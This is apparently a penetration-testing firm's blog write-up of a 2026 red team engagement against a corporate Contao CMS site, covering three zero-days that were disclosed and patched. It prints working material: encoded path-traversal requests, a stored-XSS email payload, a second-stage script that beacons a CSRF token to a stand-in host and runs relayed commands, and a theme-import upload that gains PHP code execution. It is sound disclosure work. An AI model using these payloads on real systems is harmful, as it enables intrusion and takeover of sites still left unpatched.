Aller au contenu principal
HDWSec
Redteam SécuPentestHackingCyberRedteam · 10 min de lecture

Red team: the brochure site nobody is watching

Red team engagement against a corporate brochure site, June 2026. No published vulnerability applied to the target: we had to find three zero-days in Contao CMS to get in. All three were reported to the vendor and have since been fixed.

JK
Jean-Jamil KHALIFÉ Expert cybersécurité
Red team: the brochure site nobody is watching

Red team engagement against a corporate brochure site, June 2026. No published vulnerability applied to the target: we had to find three zero-days in Contao CMS to get in. All three were reported to the vendor and have since been fixed.

Attack chain: from the image route to code execution

Three flaws, three severity levels, a single route through.

The engagement

The company manufactures components for the rail industry. Two hundred and ten employees, three sites. External perimeter, no information beyond the registered company name, objective to reach the internal information system. Phishing is out of scope, which forces us to find a purely technical way in.

The kick-off meeting is not a technical one: rules of engagement, testing window, the two people who know the test is happening, the number to call if we break something. Nobody hands us a map, that is the whole point of the exercise. Three weeks later, at the debrief, the head of IT will put his inventory on the table: eleven exposed services. Ours will list fourteen. The difference is the three nobody counts: a forgotten test server, a newsletter form hosted elsewhere, and the brochure site.

This account covers only part of the engagement: the way in, the one that gave us our first foothold on the internal network. What came next, the progression once inside and what it reached, is not covered here.

Day 1: the asset nobody claims

The corporate site was rebuilt six years ago by a communications agency. It presents the products, the locations, a few news items. It handles no sensitive data, talks to no business application, and that is precisely why nobody looks at it.

The site runs on Contao, and the CMS is not the problem here: it is well designed with a reactive security team. We first look for an already published vulnerability applicable to the installed version. There is none that can be exploited. What we would use over the following days had never been published by anyone: the three flaws in this account, we found them by reading the CMS source code, and at the time they were unknown to the vendor. Three zero-days. A perfectly up-to-date installation would have fallen the same way.

Day 2: a route that says too much

Contao serves its resized images on a single route, /assets/images/{path}, whose parameter accepts anything. The controller appends that path to the image directory with Path::join(), a function that resolves .. segments along the way, then serves the resulting file. What is missing is the check that would verify the resolved path stayed under the starting directory. The function that does exactly that, Path::isBasePath(), is called five lines further down the same call chain, for an unrelated purpose. The flaw is a path traversal, and it requires no account.

One precaution is needed before firing: a plain ../ is normalised by the web server before it reaches the router, so it never reaches the controller. Encoded as %2e%2e, it crosses the server intact and is only resolved at Path::join() time, that is to say too late to be refused.

Three requests are enough. The first is the control: the target file is an icon shipped with every Contao installation, it lives outside the document root, so it is not served.

GET /vendor/contao/core-bundle/contao/themes/flexible/icons/search.svg
-> 404 Not Found

The second asks for the same file through the image route. It comes out, identical to the file on disk.

GET /assets/images/%2e%2e/%2e%2e/vendor/contao/core-bundle/contao/themes/flexible/icons/search.svg
-> 200 OK, 236 bytes

The third asks for a file that does not exist, and that is the one that pays best: to say it could not find it, the controller prints the path it has just resolved.

GET /assets/images/%2e%2e/%2e%2e/files/private/DOESNOTEXIST.png
-> 404 "/var/www/html/files/private/DOESNOTEXIST.png does not exist"

The configured target directory is /var/www/html/assets/images: the response proves the resolution did leave it, and it hands us the absolute path of the installation along the way. Apache and nginx are both affected, nginx additionally accepting the encoded slash %2f that Apache refuses by default.

What this read does not give deserves to be said as well. It is limited to extensions declared as images: no configuration file, no PHP code, no database credentials. Paths that fall back under the upload directory fail with a 500 for an unrelated reason, so no protected member folders either. We walk away with the real directory tree of the installation, enough to fingerprint the installed version from the files shipped with the CMS, and the absolute server path. Nothing is taken, nothing is broken.

Now we know the exact version so we can install it in a local lab and try out the next found vulnerabilities

  • Class: path traversal (CWE-22), unauthenticated
  • Risk: reading files outside the image directory, limited to image extensions; the attacker learns the directory tree, the installed version and the absolute server path
  • CVSS 3.1: 5.3 medium, AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Ref: CVE-2026-107844

Day 3, 21:40: the comment

The site publishes news items, and news items accept comments. Moderated, says the banner, which reassures everybody and should not have.

A comment asks for a name, a message and an email address. The address is what interests us: it carries a stored XSS aimed at the back office, sourced from an anonymous visitor. RFC 5322 allows a quoted local part, and that form accepts control characters. Contao’s validator follows the standard, so it accepts. The field encodes a single character on input, the opening angle bracket: quotes, the equals sign and the form feed are stored as-is. On the administration side, the comment list prints that address inside a mailto: link without escaping it, while the same value is escaped in the neighbouring attribute, on the same line.

// comments-bundle/contao/dca/tl_comments.php:376
'<a href="mailto:' . Idna::decodeEmail($arrRow['email']) . '" title="'
    . StringUtil::specialchars(Idna::decodeEmail($arrRow['email'])) . '">'
//     ^ not escaped here             ^ escaped there

How the local part of the address becomes three HTML attributes

Contao tolerates 65 characters in the local part: enough room for two attributes instead of one. That counting detail is what separates an XSS waiting for a click from an XSS waiting for nothing.

What remains is deciding what to inject, and that is where the only real difficulty of this vulnerability lies: Contao accepts 65 characters in the local part. The quotes, the three form feeds, autofocus and onfocus= eat up 23 of them. That leaves 42 for the code, which writes no attack worthy of the name.

Stealing the session cookie is no more interesting to us. What has value here is not replaying a session somewhere else, it is acting from the victim’s browser, in their administration tab that is already open and already authenticated. So the 42 characters serve only to go and fetch the rest:

POST /page-with-comments
Content-Type: application/x-www-form-urlencoded

FORM_SUBMIT=com_tl_content_2
REQUEST_TOKEN=<token read from the public form>
name=poc
email="<FF>autofocus<FF>onfocus=import('//x.example/2')<FF>x"@example.com
comment=hello

-> 303 See Other

<FF> is a literal 0x0C byte, and the local part is 46 characters out of the 65 allowed. The anti-CSRF token required by the form can be read from the public page and protects nothing here, since this form is designed to be submitted by strangers. The value lands intact in the database, its first bytes being 22 0c 61 75 74 6f 66 6f 63 75 73, that is a quote, a form feed, then autofocus.

The second stage, for its part, has no size limit at all, and it is the one doing the work. We will see its contents at the moment it runs.

Then we wait.

Ref: CVE-2026-107845

Day 4, 09:12: someone opens the list

The next morning, someone at the agency opens the back office to work through the moderation queue. Here is what the server sends them, the form feed shown as ^L:

<a href="mailto:"^Lautofocus^Lonfocus=import('//x.example/2')^Lx"@example.com"
   title="&quot;^Lautofocus^Lonfocus=import('//x.example/2')^Lx&quot;@example.com">

Nothing to click, nothing to hover: autofocus brings the link to the front as soon as the page loads, onfocus fires right after, and our second stage loads. It fits in a few lines.

// loaded from //x.example/2, executed in the back office origin,
// with the session of the person who just opened the moderation queue

// 1. the anti-CSRF token of their session, read from the page in front of them
const rt = document.querySelector('input[name="REQUEST_TOKEN"]').value;

// 2. signal that the session is open, and hand over the token
navigator.sendBeacon('//x.example/on', rt);

// 3. as long as the tab stays open, execute whatever the relay sends back
setInterval(async () => {
  const cmd = await (await fetch('//x.example/next')).text();
  if (cmd) new Function(cmd)();
}, 5000);

What this gives us is neither a password nor a cookie: it is a channel. As long as the administration tab stays open, we send orders that execute in its origin, with its privileges and its token, without ever authenticating ourselves. The back office cannot tell these requests apart from its user’s, because there is no difference.

In the lab, we stopped short of that channel: the second stage there was replaced with a plain fetch('//<collector>/XSS-FIRED'), enough to prove execution without touching anything. The following line is the one the collector logged.

BEACON /XSS-FIRED  UA=Mozilla/5.0 (Macintosh; Intel Mac OS X ...)  Origin=<back office origin>

Moderation protected nothing, it guaranteed the opposite: that somebody would open the list. And nothing catches the shot at the last moment, because the Contao back office sends no Content-Security-Policy header. This is the stored XSS the vendor published as critical, scored 9.3.

On the victim’s side, it is a non-event. The comment shows up, it gets approved, the day goes on. There is no alert for that: the site is not monitored and its logs go nowhere.

  • Class: stored XSS (CWE-79) through HTML attribute injection (CWE-116), unauthenticated source, administrator target
  • Risk: JavaScript execution in the session of a back office user, with no click and no hover; the attacker then acts with the victim’s privileges
  • CVSS 3.1: 9.3 critical, AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
  • Ref: CVE-2026-107845

Day 4, 14:30: from the back office to the server

Contao carries a quirk inherited from its early days: its legacy templates use the .html5 extension and are interpreted as PHP. And the function that imports a theme unpacks the supplied archive, then writes to disk every entry whose name starts with templates/, with no extension allow-list.

// core-bundle/contao/classes/Theme.php, extractThemeFiles()
File::putContent($this->customizeUploadPath($objArchive->file_name), $objArchive->unzip());

An archive containing a templates/x.html5 filled with PHP is therefore written as-is, then executed as soon as the template is rendered: an arbitrary file write that ends in RCE. What remains is getting it imported by somebody who is allowed to, and that is exactly what the channel opened in the morning provides. The order we send fits in five lines:

// command pushed into the channel opened at 09:12
const fd = new FormData();
fd.append('REQUEST_TOKEN', rt);                    // the token collected this morning
fd.append('FORM_SUBMIT', 'tl_theme_import');
fd.append('files[]', new Blob([zip]), 't.zip');    // archive containing templates/x.html5
await fetch('/contao?do=themes&key=importTheme', {method: 'POST', body: fd, credentials: 'include'});

The administrator’s session will only have served to drop a file. It can expire a minute later, the template stays on disk, and the absolute path noted on day two stops being a curiosity at that very moment. The same channel could have created an account, exported the member database or edited a page; the theme import is the only one of those gestures that leaves the CMS and reaches the file system.

We are on the web server, as the server user, inside a machine nobody is watching. What follows is establishing who this machine talks to and with which identities, and the answer rarely looks like the architecture diagram on the meeting room wall.

  • Class: file write without extension check (CWE-434) leading to code execution (CWE-94)
  • Risk: PHP execution as the web server user, therefore control of the site, of its database and of whatever the machine can reach
  • CVSS 3.1: 8.8 high (score assigned by the vendor; we had scored it 7.2)
  • Ref: CVE-2026-104883

Disclosure

DateEvent
2026-06The three flaws are discovered during the engagement.
2026-07-23Reports sent to the Contao security team.
2026-07-27Contao confirms the reports and opens an advisory for each one.
2026-08-25Contao 5.3.50 and 5.7.12 released, advisories made public.

References

The nine advisories published by Contao on 25 August 2026 following our reports, fixed in versions 5.3.50 and 5.7.12. Three of them arm this account, the other six come from the same campaign. Each one has since received a CVE identifier, and every identifier below links to the corresponding GitHub advisory.

  • CVE-2026-107845 - 9.3 critical - zero-click stored XSS in the back office comment list, anonymous source (used here)
  • CVE-2026-104883 - 8.8 high - privilege escalation to code execution through theme import (used here)
  • CVE-2026-104882 - 6.5 medium - insecure direct object reference in the CSV import: records overwritten outside the allowed scope
  • CVE-2026-104884 - 5.4 medium - stored XSS in search results, on the legacy templates
  • CVE-2026-107844 - 5.3 medium - unauthenticated path traversal on the image route (used here)
  • CVE-2026-107843 - 5.3 medium - unlimited resending of the activation email, which also reveals whether an address is registered
  • CVE-2026-104881 - 4.3 medium - insecure direct object reference on newsletter actions: sending and importing into someone else’s channel
  • CVE-2026-107850 - 4.3 medium - voter never registered: preview links with no ownership check
  • CVE-2026-107848 - 3.5 low - CSRF on the back office dispatch parameter family
JK
Écrit par Jean-Jamil KHALIFÉ Expert cybersécurité

Prêt à tester votre sécurité ?

Nos experts réalisent des tests d'intrusion adaptés à votre périmètre et vos enjeux, avec un rapport clair et des recommandations actionnables.